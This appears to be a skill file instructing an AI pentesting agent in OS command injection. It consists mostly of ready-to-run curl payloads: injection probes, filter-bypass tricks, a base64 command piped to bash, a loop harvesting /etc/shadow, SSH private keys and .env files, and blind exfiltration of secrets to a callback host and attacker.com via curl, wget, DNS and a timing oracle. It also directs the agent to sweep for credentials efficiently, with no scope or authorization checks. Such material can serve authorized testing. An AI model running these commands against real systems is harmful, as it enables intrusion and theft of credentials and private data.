---
name: command-injection
description: "OS Command Injection — exploiting applications that pass user input to OS commands without sanitization. Covers injection operators (;, |, ||, &&, $(), backticks, newline), blind detection (time-based, OOB callback), and bypass techniques (space, keyword, encoding)."
metadata:
  mitre_attack: T1059
  when_to_use: "command injection, os command, cmdi, rce command, shell injection, system command, exec, popen, subprocess, backtick injection, semicolon injection, pipe injection, ping command, os.system, shell=True, eval, passthru"
---

# OS Command Injection

Exploits applications that pass user input to OS commands without sanitization.

## Detection
```bash
# Basic tests
curl -s 'https://<TARGET>/ping?host=127.0.0.1;id' -o cmdi_semicolon.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1|id' -o cmdi_pipe.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1$(id)' -o cmdi_subshell.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1`id`' -o cmdi_backtick.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1%0aid' -o cmdi_newline.txt

# Blind detection — time-based
curl -s 'https://<TARGET>/ping?host=127.0.0.1;sleep+5' --max-time 10 -w '\nTime: %{time_total}s\n'

# Blind detection — out-of-band (DNS/HTTP callback)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;curl+http://<CALLBACK>/cmdi'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;nslookup+<CALLBACK>'
```

## Injection Operators

| Operator | Behavior | Example |
|----------|----------|---------|
| `;` | Sequential execution | `; id` |
| `\|` | Pipe output | `\| id` |
| `\|\|` | Execute if first fails | `\|\| id` |
| `&&` | Execute if first succeeds | `&& id` |
| `` ` `` | Command substitution | `` `id` `` |
| `$()` | Command substitution | `$(id)` |
| `%0a` | Newline | `%0aid` |
| `%0d%0a` | CRLF | `%0d%0aid` |

## Bypass Techniques
```bash
# Space bypass
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat${IFS}/etc/passwd'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;{cat,/etc/passwd}'
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat%09/etc/passwd'  # tab

# Keyword bypass (if 'cat' is blocked)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;c\at+/etc/passwd'   # backslash
curl -s 'https://<TARGET>/ping?host=127.0.0.1;ca""t+/etc/passwd'  # empty quotes
curl -s 'https://<TARGET>/ping?host=127.0.0.1;tac+/etc/passwd'    # alternative command
curl -s 'https://<TARGET>/ping?host=127.0.0.1;head+/etc/passwd'   # alternative command

# Base64 encoded command
curl -s "https://<TARGET>/ping?host=127.0.0.1;\$(echo+aWQ=|base64+-d|bash)"
```

## Credential/Secret Extraction After RCE Confirmed

Once you have confirmed RCE (e.g., `id` or `hostname` output returned), run this single bash call in the NEXT step to locate sensitive files — do NOT issue separate commands per candidate path:

```bash
# Single-call sensitive file location sweep
for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa /home/*/.ssh/id_rsa \
          /var/www/html/.env /app/.env /app/config.py /app/settings.py \
          /opt/app/config.json /tmp/secret.txt /root/secret.txt; do
  result=$(curl -s "http://<TARGET>/vuln?cmd=cat+$f" 2>/dev/null | head -5)
  [ -n "$result" ] && echo "=== $f ===" && echo "$result"
done > /tmp/rce_harvest.txt
head -50 /tmp/rce_harvest.txt

# Broad credential/secret file search
curl -s "http://<TARGET>/vuln?cmd=find+/+-type+f+\(-name+'*.env'-o+-name+'config*'-o+-name+'secret*'-o+-name+'cred*'-o+-name+'token*'\)+2>/dev/null" \
  -o /tmp/find_secrets.txt
head -20 /tmp/find_secrets.txt
```

Replace `/vuln?cmd=` with the confirmed injection sink. After locating sensitive files, use the appropriate operator from the Injection Operators table to read their full contents.

**Hard rule**: Do NOT issue individual curl calls per candidate path — use the loop above. Separate calls waste bash budget and trigger compaction before extraction completes.

## Blind Exfiltration

When command output is NOT reflected in the HTTP response, use one of these techniques to extract sensitive content:

```bash
# 1. Write to web-accessible path (if webroot is writable)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;cat+/.env+>+/var/www/html/out.txt'
curl -s 'https://<TARGET>/out.txt'  # retrieve output

# 2. OOB HTTP exfiltration via curl (base64 to handle special chars)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;curl+http://<CALLBACK>/$(cat+/.env|base64+-w0)'

# 3. OOB HTTP via wget
curl -s 'https://<TARGET>/ping?host=127.0.0.1;wget+-q+-O-+http://<CALLBACK>/$(cat+/.env|base64+-w0)'

# 4. DNS exfiltration (value prefix — DNS labels max 63 chars)
curl -s 'https://<TARGET>/ping?host=127.0.0.1;nslookup+$(cat+/.env|cut+-c1-50).attacker.com'

# 5. Time-based char-by-char oracle (no OOB needed — use for short secrets/tokens)
# Replace /.env with the target file path from Credential/Secret Extraction sweep
TARGET_FILE="/.env"
curl -s "https://<TARGET>/ping?host=127.0.0.1;if+[\"\$(cut+-c1+${TARGET_FILE})\"=+\"s\"];then+sleep+3;fi" \
  --max-time 10 -w '\nTime: %{time_total}s\n'

# Automate char extraction
for i in $(seq 1 70); do
  for c in {A..Z} {a..z} {0..9} - _ '=' '"' "'"; do
    t=$(curl -s -o /dev/null -w '%{time_total}' --max-time 6 \
      "https://<TARGET>/ping?host=127.0.0.1;if+[+\"\$(cut+-c${i}+${TARGET_FILE})\"+==+\"${c}\"+];then+sleep+3;fi")
    if (( $(echo "$t > 2.5" | bc -l) )); then printf "%s" "$c"; break; fi
  done
done
echo
```
